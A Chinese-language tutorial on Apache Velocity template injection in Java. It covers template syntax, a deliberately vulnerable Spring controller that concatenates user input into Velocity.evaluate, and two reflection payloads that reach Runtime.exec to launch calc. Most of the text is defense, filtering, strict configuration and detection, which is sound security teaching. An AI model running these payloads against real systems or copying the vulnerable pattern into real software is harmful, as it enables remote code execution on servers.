JAVA安全之Velocity模板注入刨析
字数 1607 2025-08-22 12:22:24
Apache Velocity模板注入(SSTI)深度分析与防御指南
一、Velocity模板引擎基础
1.1 Velocity简介
Apache Velocity是一个基于Java的模板引擎,用于生成文本输出(HTML、XML等ASCII文本)。其核心设计目标是提供简单灵活的方式将模板与上下文数据结合。
1.2 基本语法结构
变量引用
Hello, $name!
Java代码:
context.put("name", "Al1ex");
条件判断
#if($user.isLoggedIn())
Welcome back, $user.name!
#else
Please log in.
#end
循环操作
#foreach($item in $items)
<li>$item</li>
#end
宏定义
#macro(greet $name)
Hello, $name!
#end
#greet("Alice")
方法调用
#set($currentDate = $dateTool.get("yyyy-MM-dd"))
Today's date is $currentDate.
包含插入
#include("adminDashboard.vm")
数学运算
#set($total = $price * $quantity)
The total cost is $total.
1.3 关键标识符
-
#号标识符:
#set:设置变量#if/#else/#end:条件判断#foreach:循环遍历#include/#parse:包含其他模板#macro:定义宏#break/#stop:控制流程
-
${}标识符:
- 变量引用:
${name} - 对象属性访问:
${person.firstName} - 方法调用:
${dateTool.format("yyyy-MM-dd")}
- 变量引用:
-
$标识符:
- 简化变量引用:
$name - 对象属性:
$user.name - 方法调用:
$dateTool.format("yyyy-MM-dd")
- 简化变量引用:
-
!标识符:
- 空值处理:
${name!"Guest"}
- 空值处理:
二、Velocity模板注入原理
2.1 危险方法分析
Velocity.evaluate方法
public static void evaluate(Context context, Writer writer,
String templateName, String template)
参数说明:
Context context:数据上下文Writer writer:输出流String templateName:模板名称(调试用)String template:要评估的模板字符串
template.merge方法
void merge(Context context, Writer writer)
2.2 注入点示例
不安全代码示例:
@RestController
public class VelocityController {
@RequestMapping("/ssti/velocity1")
@ResponseBody
public String velocity1(@RequestParam(defaultValue="Al1ex") String username) {
String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";
Velocity.init();
VelocityContext ctx = new VelocityContext();
ctx.put("name", "Al1ex Al2ex Al3ex");
ctx.put("phone", "18892936458");
ctx.put("email", "Al1ex@heptagram.com");
StringWriter out = new StringWriter();
Velocity.evaluate(ctx, out, "test", templateString);
return out.toString();
}
}
三、攻击载荷构造与分析
3.1 基本攻击载荷
#set($e = "e")
$e.getClass().forName("java.lang.Runtime")
.getMethod("getRuntime", null)
.invoke(null, null)
.exec("cmd.exe /c calc")
3.2 复杂攻击载荷
#set($s = "")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cmd.exe /c calc"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor())
#foreach($i in [1..$out.available()])
$out.read()
#end
3.3 执行流程分析
-
模板解析阶段:
- Velocity引擎初始化解析器
- 将模板字符串转换为AST(抽象语法树)
- 识别Velocity指令和变量引用
-
渲染执行阶段:
- 递归解析AST节点
- 执行Velocity指令(如#set、#foreach等)
- 处理变量引用和方法调用
- 通过反射机制执行Java代码
-
命令执行关键点:
- 通过
getClass()获取String类的Class对象 - 使用
forName()加载Runtime类 - 反射调用
getRuntime()和exec()方法
- 通过
四、防御措施
4.1 输入验证与过滤
-
严格验证用户输入,过滤危险字符:
if (username.matches(".*[#$!{}].*")) { throw new IllegalArgumentException("Invalid characters in input"); } -
使用白名单机制:
if (!username.matches("[a-zA-Z0-9]+")) { throw new IllegalArgumentException("Invalid username format"); }
4.2 安全配置
-
启用Velocity严格模式:
velocityEngine.setProperty("runtime.references.strict", true); velocityEngine.setProperty("runtime.references.strict.escape", true); -
禁用危险功能:
velocityEngine.setProperty("velocimacro.library", ""); velocityEngine.setProperty("runtime.log.invalid.references", true);
4.3 上下文隔离
-
使用安全上下文包装器:
public class SafeVelocityContext extends VelocityContext { @Override public Object put(String key, Object value) { if (key.contains("class") || key.contains("runtime")) { throw new SecurityException("Dangerous key detected"); } return super.put(key, value); } } -
限制可用工具类:
context.put("dateTool", new SafeDateTool()); // 而不是直接放入任意工具类
4.4 编码最佳实践
-
避免直接拼接用户输入:
// 不安全 String template = "Hello, " + username; // 安全 String template = "Hello, $name"; context.put("name", sanitize(username)); -
使用预编译模板:
Template template = velocityEngine.getTemplate("safeTemplate.vm"); // 而不是动态拼接模板字符串 -
最小化上下文暴露:
// 只放入必要的变量 context.put("name", sanitizedName); // 而不是放入整个用户对象
五、检测与响应
5.1 检测方法
-
日志监控:
- 监控Velocity引擎日志中的异常
- 特别关注
invalid.references和parse.error事件
-
静态分析:
- 使用SAST工具扫描代码中的
Velocity.evaluate()调用 - 检查模板拼接点
- 使用SAST工具扫描代码中的
-
动态测试:
- 模糊测试:尝试注入各种Velocity指令
- 上下文测试:验证哪些类和方法可通过模板访问
5.2 应急响应
-
攻击识别:
- 异常模板行为(如突然出现
#set、$class等) - 系统资源异常(如突然的进程创建)
- 异常模板行为(如突然出现
-
响应措施:
try { template.merge(context, writer); } catch (VelocityException e) { logSecurityEvent(e); throw new SecurityException("Invalid template processing"); }
六、总结
Velocity模板注入(SSTI)是一种严重的安全威胁,攻击者可通过精心构造的模板执行任意Java代码。防御需要多层防护:
- 输入层:严格验证和净化所有用户输入
- 配置层:启用Velocity安全配置,限制功能
- 代码层:避免危险编码模式,使用安全API
- 监控层:实施全面的日志和异常监控
通过理解Velocity模板引擎的工作原理和攻击技术,开发人员可以构建更安全的模板处理系统,有效防范SSTI攻击。